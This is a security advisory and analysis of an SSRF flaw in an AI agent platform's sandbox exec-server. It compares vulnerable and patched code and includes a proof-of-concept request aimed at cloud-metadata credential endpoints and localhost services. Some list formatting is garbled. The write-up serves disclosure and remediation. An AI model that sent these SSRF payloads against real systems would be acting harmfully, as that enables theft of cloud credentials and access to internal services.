
Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation.
Severity: High · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)
| Field | Value |
|---|---|
| Advisory | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Product | OpenClaw (npm package openclaw) — sandbox exec-server component |
| Affected | openclaw < 2026.6.6 |
| Patched | 2026.6.6 and later |
| Root cause | Missing SSRF validation in the exec-server's embedded HTTP helper (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Fix commit | 21410d1c — "fix(codex): guard sandbox http requests" |
| Attack vector | HTTP POST to the exec-server's http/request handler with an attacker-controlled URL |
| Impact | Low-privilege caller reaches internal network destinations (cloud metadata, private IPs, localhost services) that OpenClaw network policy should block |
OpenClaw is an AI agent platform whose sandbox exec-server exposes an HTTP request helper that agents use to make outbound web calls. Versions before 2026.6.6 shipped that helper with no SSRF protection: a lower-trust caller — any agent, tool, or input path the platform considers less trusted than a gateway operator — could submit an arbitrary URL and have the exec-server fetch it from inside the host network.
Network policy checks that apply to direct sandbox egress were not applied when requests transited the exec-server HTTP interface. That inconsistency is the vulnerability: the exec-server acted as an unrestricted HTTP proxy into the internal network.
When OpenClaw runs a Codex agent in a sandbox, it starts a local exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts) that hosts JSON-RPC methods over a WebSocket/HTTP transport. One of those methods, http/request, lets the agent fetch URLs. The implementation pipes the request through a small embedded Python script — SANDBOX_HTTP_REQUEST_SCRIPT — which does the actual urllib work.
The request handler lives in extensions/codex/src/app-server/sandbox-exec-server/http.ts.
The Python helper received the URL and only checked the scheme:
# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
That is the entire gate. There was:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ was followed blindlyResult: {"method":"GET","url":"http://<internal-host>/"} returned the internal response body to the caller. The exec-server was an open proxy into the host network.
Commit 21410d1c added defense in depth on both layers:
Layer 1 — TypeScript pre-check (assertSandboxHttpRequestTargetAllowed in http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Layer 2 — Python helper hardening (assert_url_allowed in the embedded script):
localhost, localhost.localdomain, metadata.google.internal, plus *.localhost, *.local, *.internal suffixes169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentation 2001:db8::/32, and moreipaddress classification: loopback, private, link-local, multicast, reserved, unspecifiedGuardedRedirectHandler: every redirect hop re-runs assert_url_allowed before it is followed::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, and ISATAP forms are unwrapped and their embedded IPv4 is checkeddef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 with the sandbox exec-server enabledhttp/request (the platform treats this as low-privilege access — e.g. a plugin, a tool, or an input path, not a gateway operator)Step 1 — Post a request targeting an internal service:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Step 2 — Vulnerable response (HTTP 200):
The exec-server fetched the internal URL and returned the body to the caller — base64-wrapped as bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Decoded:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Step 3 — Patched response (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
The internal destination is unreachable through the exec-server on patched versions.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM credentialshttp://127.0.0.1:<port>/ to hit co-located unauthenticated management interfacesCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 High